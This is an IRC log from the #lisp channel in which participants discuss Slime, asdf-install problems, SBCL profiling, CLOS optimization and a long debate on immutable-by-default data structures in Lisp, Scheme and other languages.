00:02:45 If you're on a recent Slime version, I'd guess so yes 00:02:53 -!- Odin- [n=sbkhh@s121-302.gardur.hi.is] has quit [] 00:03:13 tcr: allright, thanks for the help, sorry about the spurious report 00:03:30 Actually no, it seems there's no support for that 00:04:11 -!- dysinger [n=tim@cpe-75-80-200-182.hawaii.res.rr.com] has quit [Read error: 104 (Connection reset by peer)] 00:04:19 dysinger [n=tim@cpe-75-80-200-182.hawaii.res.rr.com] has joined #lisp 00:05:13 -!- HimitsuNaiyou [n=MuneNoKa@mobile210-152.near.uiuc.edu] has quit [Read error: 110 (Connection timed out)] 00:05:17 looking through the logs of any changeset including "slime-compilation", i'm not seeing anything related to files since at least the new year 00:05:22 just strings 00:05:46 -!- elurin [n=user@88.231.223.140] has quit [Read error: 60 (Operation timed out)] 00:06:48 there was a big refactoring Dec 30, but that's all compile-string as welkl 00:07:13 DrTilt_ [n=browning@75.36.5.64] has joined #lisp 00:08:50 BrianRice [n=briantri@c-98-225-51-246.hsd1.wa.comcast.net] has joined #lisp 00:09:34 C-c C-k does not take a prefix-arg 00:10:34 yeah 00:11:01 is the asdf-install of moptilities broken? 00:11:22 it seems to get into an endless loop between moptilities and closer-mop 00:12:02 tcr: as far as I can tell compile-file never had this feature, so i must have imagined it 00:13:40 elurin [n=user@88.231.223.140] has joined #lisp 00:14:25 madnificent: i have a working asdf-install of moptilities, I have a vague recollection of having some troubles getting it installed a while back, but I think deleting some fasls and restarting lisp might have cleared it up 00:15:01 UnwashedMeme: thanks, I'll try to do some magic then :) 00:16:43 http://tools.ietf.org/html/draft-meyer-lisp-cons-04 00:17:20 I wonder what the authors thought in taking up that terminology 00:17:33 just seems mindlessly confusing 00:19:24 haimez [n=haimez@c-76-104-23-233.hsd1.va.comcast.net] has joined #lisp 00:19:44 -!- tritchey_ [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [] 00:20:52 azanar [n=azanar@edm1a.mavericklabel.com] has joined #lisp 00:20:54 -!- DrTilt_ [n=browning@75.36.5.64] has quit ["Ex-Chat"] 00:21:09 -!- UnwashedMeme [n=nathan@216.155.97.1] has quit ["Leaving."] 00:21:54 -!- haimez [n=haimez@c-76-104-23-233.hsd1.va.comcast.net] has quit [Remote closed the connection] 00:23:52 -!- Fulax [n=cyprien@pdpc/supporter/student/cnicolas] has quit ["Out of Memory: Killed process [9823] xchat."] 00:25:12 tcr: that's one of the (many) faux RFCs. just a joke 00:25:23 my favourite one is http://tools.ietf.org/html/rfc2324 00:27:00 I'm a fan of the "how to name your computer" one. 00:27:25 -!- hugod [n=hugo@bas1-montreal50-1279441018.dsl.bell.ca] has quit [] 00:27:31 "The naming of computers is a difficult matter"? 00:27:32 sykopomp: got a link to it ? 00:27:52 shizzy0 [n=shane@c-76-105-6-132.hsd1.ca.comcast.net] has joined #lisp 00:27:53 (Oh, wait, that was cats. Nevermind.) 00:28:00 haimez [n=haimez@c-76-104-23-233.hsd1.va.comcast.net] has joined #lisp 00:28:08 <``Erik> IP over carrier pidgin 00:28:13 http://www.faqs.org/rfcs/rfc1178.html 00:28:27 ``Erik: pigeon. And yes, that one's pretty famous :) 00:28:38 hugod [n=hugo@bas1-montreal50-1279441018.dsl.bell.ca] has joined #lisp 00:28:43 -!- tcr [n=tcr@host145.natpool.mwn.de] has quit ["Leaving."] 00:29:10 is ucw-core the one to get? 00:29:15 kleppari: yes 00:29:24 dima2001 [n=dima2001@MOTx6pt3.swm.uni-mannheim.de] has joined #lisp 00:29:36 Or whatever drewc's branch is, if you want support *here*. 00:31:27 pkhuong: ucw-core is drewc's branch 00:32:05 <``Erik> <-- switched from drews to clintons, #ucw is helpful 00:32:49 -!- jfrancis_ [n=jfrancis@66.194.68.209] has quit [Remote closed the connection] 00:33:00 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 00:33:57 -!- mrsolo [n=mrsolo@nat/yahoo/x-11ae3b0abef77077] has quit [Read error: 110 (Connection timed out)] 00:37:30 deep [n=deep@li61-146.members.linode.com] has joined #lisp 00:38:16 ``Erik: where's that at? 00:41:24 mrsolo [n=mrsolo@nat/yahoo/x-ee07bf9ca706d9f1] has joined #lisp 00:42:38 kidd1 [n=kidd@163.Red-88-9-114.dynamicIP.rima-tde.net] has joined #lisp 00:45:44 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [] 00:47:34 -!- mechine [n=mutable@220-253-187-75.NSW.netspace.net.au] has left #lisp 00:48:19 durka42 [n=durka@130.58.192.22] has joined #lisp 00:48:43 -!- xtagon [n=xtagon@97-113-160-193.tukw.qwest.net] has quit [] 00:49:04 -!- dima2001 [n=dima2001@MOTx6pt3.swm.uni-mannheim.de] has quit [Read error: 110 (Connection timed out)] 00:50:38 -!- r1nu- [n=debian~@ppp-94-68-15-137.home.otenet.gr] has quit [Read error: 110 (Connection timed out)] 00:50:44 r1nu- [n=debian~@ppp-94-68-29-91.home.otenet.gr] has joined #lisp 00:51:19 -!- r1nu- [n=debian~@ppp-94-68-29-91.home.otenet.gr] has quit [Client Quit] 00:59:52 hnr [n=henry@cpc1-cmbg6-0-0-cust572.cmbg.cable.ntl.com] has joined #lisp 01:00:20 -!- sepult [n=buggarag@xdsl-87-78-137-206.netcologne.de] has quit ["leaving"] 01:02:23 durka42_ [n=durka@130.58.192.22] has joined #lisp 01:03:04 <_death> fe[nl]ix: there? 01:03:17 -!- durka42 [n=durka@130.58.192.22] has quit [Read error: 104 (Connection reset by peer)] 01:04:08 syamajala [n=syamajal@68-116-203-246.dhcp.oxfr.ma.charter.com] has joined #lisp 01:07:17 -!- athos [n=philipp@92.250.204.223] has quit ["leaving"] 01:09:49 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:10:07 -!- masm [n=masm@a83-132-152-110.cpe.netcabo.pt] has left #lisp 01:13:39 -!- durka42_ [n=durka@130.58.192.22] has quit [] 01:16:11 -!- amnesiac [n=amnesiac@p3m/member/Amnesiac] has quit ["Leaving"] 01:20:37 <_death> minion: memo for fe[nl]ix: two things: wait->timeout doesn't handle nil correctly (missing parens for case), and in call-with-socket-to-wait-connect, `timeout' should be substituted for `wait' in the expression (and wait (plusp wait)) 01:20:37 Remembered. I'll tell fe[nl]ix when he/she/it next speaks. 01:20:42 drafael [n=tapio@ip-118-90-137-10.xdsl.xnet.co.nz] has joined #lisp 01:21:19 ace4016 [i=ace4016@cpe-76-168-248-118.socal.res.rr.com] has joined #lisp 01:24:55 -!- DrTilt [n=browning@75.36.5.64] has quit ["Ex-Chat"] 01:24:59 paddy_mullen [n=patrickm@cpe-74-64-17-235.nyc.res.rr.com] has joined #lisp 01:26:38 -!- sulo_ [n=sulo@p57B4B566.dip0.t-ipconnect.de] has quit ["This computer has gone to sleep"] 01:28:50 -!- kjbrock [n=kevinbro@h-66-166-232-134.snvacaid.covad.net] has quit [] 01:31:04 Let me make sure I understand this correctl... when using sb-sprof, if I look at the Total column, the one with the most samples (and highest %) there is probably the most costly function getting called, right? (since that means it's the one that's calling most other things)? 01:32:45 (sorry, I've never actually used a profiler before, so I'm not sure what to look for here. I'm just going by my interpretation of the sbcl docs) 01:32:59 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [] 01:34:26 eaxxae [i=eaxxae@208.70.100.196] has joined #lisp 01:35:41 sykopomp: Are you sure that it's not the most costly function because it's being called the most? 01:36:24 well, that's what the Self column is supposed to say, right? 01:36:25 durka42 [n=durka@130.58.192.22] has joined #lisp 01:36:33 it's not the one getting called the most, directly 01:36:48 *nyef* doesn't know, he hasn't used sb-sprof... ever. 01:36:49 -!- durka42 [n=durka@130.58.192.22] has quit [Client Quit] 01:36:54 but it ranks way higher in Total than anything else, so I think that's probably what I want to attack? 01:36:56 oh 01:36:58 :| 01:37:06 -!- ayrnieu [n=julian@c-76-30-82-6.hsd1.tx.comcast.net] has quit [Remote closed the connection] 01:37:29 -!- ikki [n=ikki@201.155.75.146] has quit [Read error: 113 (No route to host)] 01:38:02 you too, can rant about CL on the ILC 2009 forum: http://ilc2009.scheming.org/forum/1 01:38:12 ikki [n=ikki@201.155.75.146] has joined #lisp 01:38:33 oh wow 01:38:39 that's amazing 01:38:49 I guess people must really love CL if they're willing to attack it so much. 01:39:12 -!- cracki [n=cracki@sglty.kawo2.RWTH-Aachen.DE] has quit [Read error: 54 (Connection reset by peer)] 01:41:22 I'm totally up for patching up some stuff in CL, though. 01:41:34 But probably not so much for turning CL into yet-another-scheme-hopeful. 01:43:01 Fare: I've been thinking about that PLT-scheme-like-syntax thing for CL, and the thing that makes it harder is that form evaluation in CL can affect the reader quite a bit. 01:43:24 nyef: if you had XCVB, it would only affect it for those who ask for it. 01:43:31 which would be a progress. 01:44:09 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:44:28 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Client Quit] 01:44:38 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:44:51 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Read error: 104 (Connection reset by peer)] 01:44:54 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:45:07 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Read error: 104 (Connection reset by peer)] 01:45:09 cheatcountry [n=cheatcou@cpe-72-181-114-9.satx.res.rr.com] has joined #lisp 01:45:10 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:45:17 (a small one, but I think decisive) 01:45:22 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Read error: 104 (Connection reset by peer)] 01:45:25 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:45:29 *sykopomp* doesn't think assq is actually a CL symbol. 01:45:34 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Read error: 104 (Connection reset by peer)] 01:45:38 clhs assq 01:45:39 Sorry, I couldn't find anything for assq. 01:45:40 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:45:56 *nyef* is fairly certain that assq isn't a CL symbol. 01:45:57 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Read error: 104 (Connection reset by peer)] 01:45:59 sykopomp: nope, but many codebase have it as an utility; same for memq. 01:46:00 tritchey_ [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:46:08 tritchey_: Having trouble? 01:46:20 -!- tritchey_ [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Client Quit] 01:46:24 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:46:26 pkhuong: http://ilc2009.scheming.org/node/7 Talks about Common Lisp being full of archaic names, and includes assq 01:46:43 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Client Quit] 01:46:56 assq was in Maclisp 01:47:04 <_death> the intersection of the set of people who complain about lisp and the set of people who actually tried using it is rather small 01:47:24 <_death> elisp ass assq :) 01:47:28 http://maclisp.info/pitmanual/list.html 01:48:02 <_death> (in comparison to the set of people who complain about lisp) 01:48:20 only setq and progn aren't shared with scheme. 01:48:22 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 01:48:41 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [Client Quit] 01:48:53 http://ilc2009.scheming.org/node/8 Is "less-sophisticated people" spec-speak for "idiots"? 01:49:16 sorry, i keep spamming about this. The talks certainly look interesting. 01:50:12 Are the talks going to be recorded and/or streamed for those people who aren't going to be there? 01:52:26 *Fare* notices that one needs to be logged in to see the comments -- probably a mistake 01:53:06 nyef, yes, and they will be published on BluRay by the MPAA. 01:53:24 OH YES! It seems to finally have occurred to them that using the lisp.org domain to centralize certain things (at least pointers to..) would be a decent idea. 01:53:30 ... Hasn't BluRay been cracked already? 01:53:40 as opposed to being greeted with a horrid piss-yellow page 01:54:42 -!- schoppenhauer [n=css@unaffiliated/schoppenhauer] has quit [Remote closed the connection] 01:55:19 sulo [n=sulo@p57B4B566.dip0.t-ipconnect.de] has joined #lisp 01:56:17 manic12_ [i=user@c-98-222-75-188.hsd1.il.comcast.net] has joined #lisp 01:57:38 if AMOP is one of the great books on OOP in Lisp, then what are some others, if any, that I don't know about? 01:59:06 manic12, you may see the scheme bibliography on schemers.org 01:59:31 http://library.readscheme.org/page4.html 01:59:33 -!- shizzy0 [n=shane@c-76-105-6-132.hsd1.ca.comcast.net] has quit [Connection timed out] 01:59:38 I like PAIP, but if you want something more OOP-oriented, Sonya Keene's book seems to be recommended a lot, although I haven't read it. 02:00:08 Keene's book is childs play for what i'm doing 02:00:38 -!- kpreid [n=kpreid@216-171-188-181.northland.net] has quit [] 02:00:40 what are you doing? 02:00:52 besides, obviously, Serious Business(tm) 02:01:09 i've got a little kbe kernel 02:01:27 kpreid [n=kpreid@216-171-188-181.northland.net] has joined #lisp 02:01:47 and i decided to start profiling and optimizing 02:01:49 -!- stepnem_ is now known as stepnem 02:02:26 if you're trying to optimize CLOS code, AMOP has some stuff about that :) 02:02:36 i've read amop 02:02:41 ah ok 02:02:44 dunno den 02:03:11 me neither, i sure would like to look at the sources to flavors right now though 02:03:13 <_death> you could read the source code.. 02:03:15 xtagon [n=xtagon@97-113-160-193.tukw.qwest.net] has joined #lisp 02:03:19 dihymo [n=dihymo@75-174-222-25.phnx.qwest.net] has joined #lisp 02:03:29 manic12_: if you're using SBCL, you may as well read the PCL code. 02:03:33 -!- xtagon [n=xtagon@97-113-160-193.tukw.qwest.net] has quit [Success] 02:03:42 i have read some of that too 02:03:55 xinming_ [n=hyy@125.109.248.22] has joined #lisp 02:03:58 even though i'm mostly using allegro atm 02:04:07 sulo_ [n=sulo@p57B493C5.dip0.t-ipconnect.de] has joined #lisp 02:04:22 Right, I'm gone. 02:04:26 -!- nyef [n=nyef@pool-70-20-47-203.man.east.myfairpoint.net] has quit ["G'night all."] 02:05:01 doesn't allegro give you access to the sources? 02:05:23 yes but i have to ask, and it's the weekend now 02:05:29 -!- cheatcountry [n=cheatcou@cpe-72-181-114-9.satx.res.rr.com] has left #lisp 02:06:02 you would think single-object dispatch would be easy 02:06:20 <_death> you can read the code for another implementation 02:06:41 yeah, i've read some of the important parts of PCL 02:06:58 i would like to see allegro's flavor's code 02:07:06 i wonder iff i have it 02:07:08 if 02:08:03 <_death> you can find some Kiczales papers on his homepage btw 02:08:29 ok 02:11:01 right now i am limiting myself because I want to use "slot-value" as an interface function for my users 02:17:06 -!- xinming [n=hyy@125.109.248.22] has quit [Read error: 110 (Connection timed out)] 02:19:00 rvirding [n=rvirding@h252n3c1o1034.bredband.skanova.com] has joined #lisp 02:19:35 -!- slash_ [n=Unknown@p4FF0BB5E.dip.t-dialin.net] has quit ["leaving"] 02:20:12 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 02:21:12 -!- ikki [n=ikki@201.155.75.146] has quit ["Leaving"] 02:21:23 -!- sulo [n=sulo@p57B4B566.dip0.t-ipconnect.de] has quit [Read error: 110 (Connection timed out)] 02:22:51 -!- syamajala [n=syamajal@68-116-203-246.dhcp.oxfr.ma.charter.com] has quit [Remote closed the connection] 02:26:23 durka42 [n=durka@130.58.192.22] has joined #lisp 02:27:54 cracki [n=cracki@sglty.kawo2.RWTH-Aachen.DE] has joined #lisp 02:29:15 -!- Athas [n=athas@0x50a157d6.alb2nxx15.dynamic.dsl.tele.dk] has quit [Remote closed the connection] 02:30:52 -!- durka42 [n=durka@130.58.192.22] has quit [Client Quit] 02:31:32 manic12, what's your real problem? 02:33:15 in a technical sense or medical sense? 02:33:31 both 02:34:16 basically I want it all 02:34:26 and you want it NOW. 02:34:32 what's all? 02:34:44 I want fixed-slot access speed with dynamic definitions 02:35:03 for what program(s) ? 02:35:06 and i want it to follow my rules. 02:35:20 manic12_: help me optimize sheeple and we can see about that ;p 02:35:23 do you want to modify CLOS for an existing implementation? 02:35:41 or create your own object system that need not be compatible? 02:35:45 it's called Adhoc: Another Declarative Hierarchical Object-Centric [CLOS Customization] 02:35:59 manic12, where's the noun? 02:36:12 in brackets? 02:36:32 ok maybe its Adhoccc 02:37:26 -!- The-Kenny [n=moritz@p5087C7AD.dip.t-dialin.net] has quit [Read error: 110 (Connection timed out)] 02:37:33 i'm looking at some cool stuff support @ franz sent me 02:37:47 iceman_ [n=iceman@121.223.198.16] has joined #lisp 02:38:00 defining slot groups for semi-dynamic fixed-slot-access 02:38:02 fixed-slot also depends on the class being known 02:38:26 what when it isn't? have a one-slot short lookup? 02:39:39 -!- haimez [n=haimez@c-76-104-23-233.hsd1.va.comcast.net] has quit [] 02:40:15 -!- eaxxae [i=eaxxae@208.70.100.196] has quit ["Leaving"] 02:40:49 the two ways i have explored to do message dispatch to fetch attribute values are with generic functions and with effective-slot-definitions 02:42:13 aja [n=aja@S01060018f3ab066e.ed.shawcable.net] has joined #lisp 02:42:32 i like the paradigm of using effective-slot-definitions as meta-"attributes" 02:42:36 Hey, anyone in here know what's happened to the lispnyc website? I can't seem to access it and I'm wondering if it's only on my end. 02:42:40 -!- elurin [n=user@88.231.223.140] has quit [Read error: 110 (Connection timed out)] 02:43:04 manic12, why care at all? 02:43:19 I mean, if you care about performance, Lisp has more important problems. 02:43:37 ianmcorvidae, try sending mail to heow 02:44:31 this program seems to be running pretty fast now, but every time I want to change paradigms a bit it's like a tumor on the code 02:45:37 Fare: I'll try that, thanks. 'tis a shame to see something drop off the 'net. 02:46:04 HG` [n=wells@222-153-100-184.jetstream.xtra.co.nz] has joined #lisp 02:52:02 "change paradigms" ? 02:52:05 -!- mjf [n=mjf@r6y212.net.upc.cz] has quit ["dew on the telephone lines"] 02:52:50 i'm sorry for being so vague, i could just spew everywhere 02:53:11 and that would probably make less sense 02:53:21 Fare: what are your feelings about CLOS? 02:54:38 Cene [n=jh@a91-153-39-176.elisa-laajakaista.fi] has joined #lisp 02:54:39 change paradigms means for example that currently every attribute has storage allocated for it, and that's not always necessary 02:54:56 -!- dialtone [n=dialtone@adsl-99-136-101-166.dsl.pltn13.sbcglobal.net] has quit [Read error: 110 (Connection timed out)] 02:54:57 azuk` [i=azure@s2.org] has joined #lisp 02:55:09 is there a way to test if a variable is defined without it raising any errors or warnings if it isn't? 02:55:29 manic12_: are you sure you're not prematurely optimizing? How do you know what you need to optimize, if your requirements seem to be changing regularly? 02:55:33 SeveredC1oss [n=bojanr@dhcp-129-64-169-15.dorm.brandeis.edu] has joined #lisp 02:55:36 -!- HG` [n=wells@222-153-100-184.jetstream.xtra.co.nz] has quit ["Leaving."] 02:55:41 dialtone [n=dialtone@adsl-75-19-87-52.dsl.pltn13.sbcglobal.net] has joined #lisp 02:55:42 (boundp 'foo) 02:55:46 Cene: boundp? 02:56:32 -!- spacebat [n=akhasha@ppp121-45-0-76.lns10.adl2.internode.on.net] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- _death [n=death@nessers.org] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- slyrus [n=slyrus@adsl-68-121-172-169.dsl.pltn13.pacbell.net] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- l4ndfo [n=l4ndfo@catv-89-132-93-183.catv.broadband.hu] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- tic_ [n=tic@c83-249-194-249.bredband.comhem.se] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- azuk [i=azure@s2.org] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- Thumper_ [n=Thumper@about/essy/coffeeAddict/Thumper] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- ilitirit [n=john@watchdog.msi.co.jp] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- _dima_ [i=dima@torch.blackened.com] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- SeveredCross [n=bojanr@about/csharp/regular/severedcross] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- l_a_m [n=lam@194.51.71.190] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- xan [n=xan@cs78225040.pp.htv.fi] has quit [verne.freenode.net irc.freenode.net] 02:56:32 -!- wasabi___ [n=wasabi@ntoska149014.oska.nt.ftth.ppp.infoweb.ne.jp] has quit [verne.freenode.net irc.freenode.net] 02:56:37 _dima [i=dima@torch.blackened.com] has joined #lisp 02:56:41 -!- dlowe [n=dlowe@c-24-91-154-83.hsd1.ma.comcast.net] has quit ["Leaving."] 02:57:45 sykopomp: thanks, that's exactly what i was looking for :) 02:57:53 l4ndfo [n=l4ndfo@catv-89-132-93-183.catv.broadband.hu] has joined #lisp 02:57:58 _death [n=death@nessers.org] has joined #lisp 02:58:05 Cene: manic12_ said it first :) 02:58:05 tic [n=tic@c83-249-194-249.bredband.comhem.se] has joined #lisp 02:58:07 Thumper_ [n=Thumper@about/essy/coffeeAddict/Thumper] has joined #lisp 02:58:11 ah right :P 02:58:13 l_a_m [n=lam@194.51.71.190] has joined #lisp 02:58:16 well thanks to both of you =) 02:58:22 np. 02:58:35 Fare: I guess they're not very positive.... 02:58:36 xan [n=xan@cs78225040.pp.htv.fi] has joined #lisp 02:58:48 benny` [n=benny@i577A0D76.versanet.de] has joined #lisp 02:58:53 spacebat [n=akhasha@ppp121-45-0-76.lns10.adl2.internode.on.net] has joined #lisp 02:59:19 wasabi___ [n=wasabi@ntoska149014.oska.nt.ftth.ppp.infoweb.ne.jp] has joined #lisp 02:59:36 -!- Cene [n=jh@a91-153-39-176.elisa-laajakaista.fi] has left #lisp 02:59:39 sulo__ [n=sulo@p57B48D03.dip0.t-ipconnect.de] has joined #lisp 02:59:48 what's not very positive? 03:00:00 minus 03:00:07 Fare: I asked what you thought of CLOS 03:00:17 ayrnieu [n=julian@c-76-30-82-6.hsd1.tx.comcast.net] has joined #lisp 03:01:15 oh. Many things. 03:01:29 CLOS has a lot of good and bad things about it. 03:01:55 Multiple dispatch is definitely an interesting property that's missing in many other OO languages 03:02:14 (but plenty of Scheme systems, Dylan, Slate, have it.) 03:02:22 slyrus [n=slyrus@adsl-68-121-172-169.dsl.pltn13.pacbell.net] has joined #lisp 03:02:36 (it's not that hard to write) 03:02:54 what's hard to write? 03:03:15 multiple dispatch, but that's sort of a stupid comment, disregard it? 03:04:01 <_death> it's certainly hard to write an efficient implementation, I would say 03:04:30 Vicfred [n=Vicfred@189.228.45.219] has joined #lisp 03:04:33 yeah. I guess unless you base it on PCL it's quite a task. 03:04:34 one big problem with Lisp is lack of modularity 03:04:47 also, lack of the ability to declare things static 03:05:00 also, there is way too much mutable state involved in CLOS 03:05:34 at the base level AND at the meta-level 03:05:49 object systems are pretty stateful, though, or am I understanding you wrong? 03:06:52 sykopomp: the metalevel could be much more declarative. 03:07:24 metalevel being the MOP? 03:08:57 (or the implementation details, rather) 03:09:05 (...which is not the MOP) 03:09:52 even the dispatch system could be stateless 03:09:58 ilitirit [n=john@watchdog.msi.co.jp] has joined #lisp 03:10:23 Haskell's class system is stateless, yet does a lot of that dispatching logic, statically. 03:10:50 Slate has immutable objects as well as mutable ones. 03:10:59 oh? 03:11:26 with immutable objects, you want the ability to specify objects in multiple passes of specialization, though 03:11:29 but slate's dispatch system is pretty stateful... 03:11:43 with one object adding new information immutably to a previous one 03:12:34 and so it fits better in a duck typing system and/or a prototype-based system than in one with rigid classes where all slots need be bound. 03:12:36 -!- tetha [n=hk@pD9EE7013.dip.t-dialin.net] has quit [Nick collision from services.] 03:12:45 tetha [n=hk@pD9EE783A.dip.t-dialin.net] has joined #lisp 03:12:58 -!- mrsolo [n=mrsolo@nat/yahoo/x-ee07bf9ca706d9f1] has quit ["Leaving"] 03:13:00 the older version of sheeple I was working on had object and slot locking. Maybe I should write that again. 03:13:14 b4|hraban [n=b4@0brg.net] has joined #lisp 03:14:51 -!- benny [n=benny@i577A0FCE.versanet.de] has quit [No route to host] 03:14:59 -!- elias` [n=me@unaffiliated/elias/x-342423] has quit [Read error: 145 (Connection timed out)] 03:15:32 i.e. with immutable objects, you want to be able to say "this new object is like that previous object, but this slot is overridden, and that new slot is bound (and all these specializing functions are called)" 03:16:30 -!- sulo_ [n=sulo@p57B493C5.dip0.t-ipconnect.de] has quit [Read error: 110 (Connection timed out)] 03:16:47 yeah, I understand that much about prototype-based systems... 03:17:03 what's the purpose of making them explicitly immutable, though? 03:17:25 or by immutable do you mean "they have the values locally" and thus do not fetch them from parents? 03:17:41 -!- benny` is now known as benny 03:17:49 and not have your intermediate objects be either type errors or objects for which you have to specify a specific sub-class too early, just because they didn't bind all the slots you need for an actual object of the final class you'll use. 03:18:17 immutable means 'does not mutate' i.e. they don't change 03:18:31 syamajala [n=syamajal@68-116-203-246.dhcp.oxfr.ma.charter.com] has joined #lisp 03:18:31 immutable means immutable -- i.e. there's no state that can change under your feet, no identity to preserve. 03:18:40 -!- syamajala [n=syamajal@68-116-203-246.dhcp.oxfr.ma.charter.com] has quit [Remote closed the connection] 03:18:48 manic12_: that's what I thought, but I think I'm misreading. 03:18:56 see cons in the latest PLT Scheme. 03:19:21 yeah, gotcha 03:19:22 it's just that you said "they should be mutable", and then you described benefits that don't rely on immutability. 03:19:38 (they made it immutable by default in the main language -- still a mcons in the language for mutable, or a mutable cons in compatible language variants) 03:19:58 did I say that something should be mutable? 03:20:25 s/be m/be imm/ 03:20:42 immutable is cheaper conceptually than mutable 03:20:55 easier to implement, faster to run 03:21:08 no locking needed to share or distribute 03:21:13 -!- Beket [n=stathis@ppp7-197.adsl.forthnet.gr] has quit [Remote closed the connection] 03:21:26 simpler to garbage-collect 03:21:43 why didn't they keep cons cons and make an imcons ? 03:21:43 (same could be said also for linear) 03:22:04 because they want the default to be immutable 03:22:13 manic12_: because they wanted to have immutable as the default. Their thesis is that the language is better off with immutable conses. 03:22:27 and they found that in practice, that's how people use cons, too, most of the time 03:23:09 i guess i'm different 03:23:11 <_death> "most of the time" doesn't mean much 03:23:56 _death, http://blog.plt-scheme.org/2007/11/getting-rid-of-set-car-and-set-cdr.html 03:24:24 same for strings -- they should be immutable by default. 03:24:50 <_death> Fare: thanks, I'll read it later. 03:24:51 Fare: I have my doubts re simpler to GC. An immutable interface is often implemented with mutations under the hood (e.g. call by need), and that breaks GC friendliness. 03:24:57 strings maybe, but not necessarily cons cells 03:25:06 -!- awayekos is now known as anekos 03:25:32 <_death> personally I think FP is the new OOP, marketing/obsession-wise 03:25:35 this is all because of clojure 03:26:18 manic12_: PLT's switch predates clojure's becoming popular. 03:26:47 clojure's popular? 03:26:57 I mean, among people that aren't trying to just troll, that is. 03:27:01 it's the asian carp then 03:27:57 pkhuong, ok -- simpler GC is only true if it's both pure and applicative, Erlang-style. 03:28:23 asian carp? 03:28:31 asian carpal tunnel syndrome? 03:28:36 Erlang has several VM models to choose from, that do under-the-hood sharing (or not) in different ways. 03:28:44 -!- anekos is now known as awayekos 03:30:00 and then you have the usual deforestation: immutable intermediate copies get thrown away and mutable operations used. 03:30:02 in any case, immutable makes a lot of things simple that wouldn't otherwise be. 03:30:11 ayrnieu: even if processes share a global heap, a DAG is still easier to GC than a general graph. 03:30:25 and you can decouple state from dispatch class/type. 03:30:25 <_death> Fare: it also makes things more complex 03:30:32 _death, does it? 03:30:37 <_death> it does 03:30:39 how so? 03:30:55 what's more complex than what? 03:31:26 <_death> for example, writing efficient/predictably-efficient programs becomes more complex 03:31:38 does it? 03:31:42 <_death> it does 03:31:53 Fare - Erlang and Clojure both have broad escape hatches. Haskell gives you an enormously complex language. 03:31:55 _death: how? 03:32:16 ocaml, for instance, is pretty efficient. And it's immutable by default, with simple mutable annotations to structure/class slots. 03:32:42 ayrnieu, I'm not advocating pure all the way -- just "pure by default". 03:33:29 I even have a saying *against* "pure all the way" 03:33:41 <_death> pkhuong: you create new objects rather than modify existing ones.. which means more allocations and copying.. especially if your implementation isn't smart enough to share 03:33:43 lets hear it 03:33:56 "implicit state _is_ modularity. If we want to be really radical, and eliminate implicit state, then we should eliminate it at the meta-level, too, and remove named variables, leaving us only combinators." 03:34:06 which comes to 'pure except for all this impurity', and the end is that you still have discipline on the programmer's part that gives you the 'win', and 'default' is mainly a statement about the culture. 03:35:45 -!- iceman_ [n=iceman@121.223.198.16] has quit ["I am Iceman, Linux hero of time!"] 03:36:00 _death, taking advantage of linearity is the standard answer -- see the Clean language. 03:36:24 ayrnieu, it comes to *DECOUPLING* state from structure. 03:36:27 Fare - 'leaving us only combinators' is just wanking. 03:36:29 <_death> Fare: I didn't say that there are no solutions/workarounds 03:36:35 ayrnieu: that's his point. 03:37:18 locking of certain things would be good in CL though 03:37:25 remember that "Perl is the swiss-army chainsaw of programming languages", and "C++ is the same, except with all blades simultaneously cast in semi-open always-on position" 03:37:35 _death: it also means no write barrier and more provably correct transformations. Moreover, except for extremely stylised usages (which could often be captured with linear types), programs tend to use side effects very little, especially with multiprocessing. 03:37:39 <_death> Fare: you should realize that there's more to just pros to this approach 03:37:56 what approach? what cons? 03:38:15 -!- Necromas [n=Necromas@141.224.236.113] has left #lisp 03:38:26 <_death> pkhuong: what? 03:38:43 <_death> pkhuong: are you talking about programs written in a specific language? 03:39:39 no, I'm talking about not using side effects. You mention performance issues; let's not forget the cost of handling side-effects correctly in the runtime system. 03:39:45 _death, if you're point is "it's different, therefore there's a cost to change", then the point is well taken. 03:40:02 (but the PLT experience shows the cost is not that high) 03:41:05 <_death> Fare: the "make it immutable" approach, and I gave you one of the conses (which is mutable, btw.. given all the ongoing 